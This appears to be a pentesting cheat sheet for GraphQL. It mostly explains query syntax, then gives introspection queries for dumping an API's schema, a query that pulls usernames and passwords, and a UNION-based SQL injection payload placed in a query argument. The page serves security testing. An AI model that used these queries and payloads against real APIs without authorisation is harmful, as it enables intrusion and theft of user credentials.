GraphQL Pentesting
Last modified: 2023-06-17
An open-source data query and manipulation language for APIs, and a runtime for fulfilling queries with existing data.
Common Directories
/graphql
/graphiql
/graphql.php
/graphql/console
Basic Operations - Queries
We can fetch field information by sending queries.
query {
__typename
}
Fields
To fetch a field object, send a query like the following.
query {
user {
name
friends {
name
}
}
}
Arguments
We can get the specific information by padding arguments (e.g. id
) to fields.
query {
user (id: "1") {
name
}
}
Aliases
We can set aliases each field to get multiple results in one request.
query {
John: user (id: "1") {
name
age
}
Emma: user (id: "2") {
name
age
}
}
Fragments
We can define arbitrary fragment that is be reusable when fetching each field.
query {
firstUser: user (id: "1") {
...userFields
}
secondUser: user (id: "2") {
...userFields
}
fragment userFields on User {
name
age
friends {
name
}
}
}
Operation Names
We can define an operation name to make an operation less ambiguous. By setting a name, it makes it easier to understand at a glance what kind of operation.
query UserNameAndFriends {
user {
name
friends {
name
}
}
}
Variables
query UsrNameAndFriends($userId: ID) {
user (id: $userId) {
name
friends {
name
}
}
}
Directives
We can filter by passing a directive in fields.
- include
Only include this field if the argument is true
.
query UserNameAndFriends($userId: ID, $withFriends: Boolean!) {
user(id: $userId) {
name
friends @include(if: $withFriends) {
name
}
}
}
- skip
Skip this field if the argument is true
.
query UserNameAndFriends($userId: ID, $withFriends: Boolean!) {
user(id: $userId) {
name
friends @skip(if: $withFriends) {
name
}
}
}
Basic Operations - Mutations
We can modify fields with the mutation
field.
mutation {
__typename
}
To modify a field, execute like the following.
mutation CreateCommentForPost($postId: ID!, $comment: Comment!) {
createComment(id: $postId, comment: $comment) {
comment
}
}
Enumeration
# List fields
query { __schema { types { name } } }
query { __schema { types { fields { name } } } }
query { __schema { types { fields { name description } } } }
query { __schema { types { name fields { name } } } }
query { __schema { types { name fields { name args { name description type { name kind ofType { name kind } } } } } } }
# Dump database schema
fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef }} fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } }} query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } }
# Dump specific field
query { getUsers { username, password } }
SQL Injection
We might be able to inject SQL somewhere e.g. arguments. Please refer to SQL Injection Cheat Sheet for more payloads.
{
user (id: "1' UNION SELECT null,null-- -") {
name
password
}
}
NoSQL Injection
We might be able to inject NoSQL somewhere e.g. arguments. Please refer to NoSQL Injection for more payloads.